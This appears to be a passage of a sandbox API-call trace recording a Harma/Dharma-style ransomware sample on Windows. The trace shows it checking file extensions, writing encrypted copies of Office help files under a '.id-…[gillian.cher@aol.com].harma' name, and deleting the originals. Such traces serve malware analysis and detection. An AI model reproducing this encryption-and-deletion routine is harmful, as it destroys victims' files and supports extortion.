[0165.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.386] lstrlenW (lpString=".dbf") returned 4 [0165.386] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0165.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.386] lstrlenW (lpString=".1cd") returned 4 [0165.386] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0165.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0165.386] lstrlenW (lpString=".jpg") returned 4 [0165.386] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0165.387] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0165.387] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0165.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.387] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=114) returned 1 [0165.387] CloseHandle (hObject=0x218) returned 1 [0165.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 0x20 [0165.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.388] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.388] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0165.388] GetLastError () returned 0x0 [0165.389] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x72, lpOverlapped=0x0) returned 1 [0165.389] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.390] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.390] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0165.391] SetEndOfFile (hFile=0x328) returned 1 [0165.391] CloseHandle (hObject=0x328) returned 1 [0165.391] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.391] SetEndOfFile (hFile=0x218) returned 1 [0165.393] CloseHandle (hObject=0x218) returned 1 [0165.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.395] lstrlenW (lpString=".doc") returned 4 [0165.395] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.395] lstrlenW (lpString=".docx") returned 5 [0165.395] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.395] lstrlenW (lpString=".pdf") returned 4 [0165.395] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.395] lstrlenW (lpString=".xls") returned 4 [0165.395] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.395] lstrlenW (lpString=".xlsx") returned 5 [0165.395] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.395] lstrlenW (lpString=".ppt") returned 4 [0165.395] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.395] lstrlenW (lpString=".zip") returned 4 [0165.395] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.395] lstrlenW (lpString=".rar") returned 4 [0165.395] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.395] lstrlenW (lpString=".bz2") returned 4 [0165.395] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.395] lstrlenW (lpString=".7z") returned 3 [0165.395] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.395] lstrlenW (lpString=".dbf") returned 4 [0165.395] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.395] lstrlenW (lpString=".1cd") returned 4 [0165.395] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.395] lstrlenW (lpString=".jpg") returned 4 [0165.396] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.396] lstrlenW (lpString=".doc") returned 4 [0165.396] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.396] lstrlenW (lpString=".docx") returned 5 [0165.396] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.396] lstrlenW (lpString=".pdf") returned 4 [0165.396] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.396] lstrlenW (lpString=".xls") returned 4 [0165.396] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.396] lstrlenW (lpString=".xlsx") returned 5 [0165.396] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.396] lstrlenW (lpString=".ppt") returned 4 [0165.396] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.396] lstrlenW (lpString=".zip") returned 4 [0165.396] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.396] lstrlenW (lpString=".rar") returned 4 [0165.396] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.396] lstrlenW (lpString=".bz2") returned 4 [0165.396] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.396] lstrlenW (lpString=".7z") returned 3 [0165.396] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.396] lstrlenW (lpString=".dbf") returned 4 [0165.396] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.396] lstrlenW (lpString=".1cd") returned 4 [0165.396] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0165.397] lstrlenW (lpString=".jpg") returned 4 [0165.397] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.397] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0165.397] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0165.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.397] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=113) returned 1 [0165.397] CloseHandle (hObject=0x218) returned 1 [0165.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 0x20 [0165.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.398] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.398] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0165.399] GetLastError () returned 0x0 [0165.399] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x71, lpOverlapped=0x0) returned 1 [0165.400] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.401] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.401] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0165.401] SetEndOfFile (hFile=0x328) returned 1 [0165.401] CloseHandle (hObject=0x328) returned 1 [0165.401] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.401] SetEndOfFile (hFile=0x218) returned 1 [0165.403] CloseHandle (hObject=0x218) returned 1 [0165.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 1 [0165.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.405] lstrlenW (lpString=".doc") returned 4 [0165.405] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.405] lstrlenW (lpString=".docx") returned 5 [0165.405] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.405] lstrlenW (lpString=".pdf") returned 4 [0165.405] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.405] lstrlenW (lpString=".xls") returned 4 [0165.405] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.405] lstrlenW (lpString=".xlsx") returned 5 [0165.405] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.405] lstrlenW (lpString=".ppt") returned 4 [0165.405] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.405] lstrlenW (lpString=".zip") returned 4 [0165.405] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.405] lstrlenW (lpString=".rar") returned 4 [0165.405] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.405] lstrlenW (lpString=".bz2") returned 4 [0165.405] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.405] lstrlenW (lpString=".7z") returned 3 [0165.405] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.405] lstrlenW (lpString=".dbf") returned 4 [0165.405] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.405] lstrlenW (lpString=".1cd") returned 4 [0165.405] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.405] lstrlenW (lpString=".jpg") returned 4 [0165.405] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.406] lstrlenW (lpString=".doc") returned 4 [0165.406] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.406] lstrlenW (lpString=".docx") returned 5 [0165.406] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.406] lstrlenW (lpString=".pdf") returned 4 [0165.406] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.406] lstrlenW (lpString=".xls") returned 4 [0165.406] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.406] lstrlenW (lpString=".xlsx") returned 5 [0165.406] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.406] lstrlenW (lpString=".ppt") returned 4 [0165.406] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.406] lstrlenW (lpString=".zip") returned 4 [0165.406] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.406] lstrlenW (lpString=".rar") returned 4 [0165.406] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.406] lstrlenW (lpString=".bz2") returned 4 [0165.406] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.406] lstrlenW (lpString=".7z") returned 3 [0165.406] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.406] lstrlenW (lpString=".dbf") returned 4 [0165.406] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.406] lstrlenW (lpString=".1cd") returned 4 [0165.406] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0165.406] lstrlenW (lpString=".jpg") returned 4 [0165.406] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.407] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0165.407] lstrlenW (lpString="WINWORD.HXS") returned 11 [0165.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.407] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=5240293) returned 1 [0165.407] CloseHandle (hObject=0x218) returned 1 [0165.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs")) returned 0x20 [0165.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0165.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.408] lstrlenW (lpString=".doc") returned 4 [0165.408] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0165.408] lstrlenW (lpString=".docx") returned 5 [0165.408] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0165.408] lstrlenW (lpString=".pdf") returned 4 [0165.408] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0165.408] lstrlenW (lpString=".xls") returned 4 [0165.408] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0165.408] lstrlenW (lpString=".xlsx") returned 5 [0165.408] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0165.408] lstrlenW (lpString=".ppt") returned 4 [0165.408] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0165.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.408] lstrlenW (lpString=".zip") returned 4 [0165.408] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0165.408] lstrlenW (lpString=".rar") returned 4 [0165.408] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0165.408] lstrlenW (lpString=".bz2") returned 4 [0165.408] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0165.408] lstrlenW (lpString=".7z") returned 3 [0165.408] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0165.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.409] lstrlenW (lpString=".dbf") returned 4 [0165.409] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0165.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.409] lstrlenW (lpString=".1cd") returned 4 [0165.409] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0165.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.409] lstrlenW (lpString=".jpg") returned 4 [0165.409] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0165.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.409] lstrlenW (lpString=".doc") returned 4 [0165.409] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0165.409] lstrlenW (lpString=".docx") returned 5 [0165.409] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0165.409] lstrlenW (lpString=".pdf") returned 4 [0165.409] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0165.409] lstrlenW (lpString=".xls") returned 4 [0165.409] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0165.409] lstrlenW (lpString=".xlsx") returned 5 [0165.409] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0165.409] lstrlenW (lpString=".ppt") returned 4 [0165.409] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0165.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.409] lstrlenW (lpString=".zip") returned 4 [0165.409] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0165.409] lstrlenW (lpString=".rar") returned 4 [0165.409] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0165.409] lstrlenW (lpString=".bz2") returned 4 [0165.409] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0165.409] lstrlenW (lpString=".7z") returned 3 [0165.409] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0165.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.410] lstrlenW (lpString=".dbf") returned 4 [0165.410] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0165.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.410] lstrlenW (lpString=".1cd") returned 4 [0165.410] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0165.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0165.410] lstrlenW (lpString=".jpg") returned 4 [0165.410] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0165.410] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0165.410] lstrlenW (lpString="WINWORD_COL.HXC") returned 15 [0165.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.412] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=631) returned 1 [0165.412] CloseHandle (hObject=0x218) returned 1 [0165.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 0x20 [0165.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.412] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.412] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0165.413] GetLastError () returned 0x0 [0165.413] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x277, lpOverlapped=0x0) returned 1 [0165.417] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, 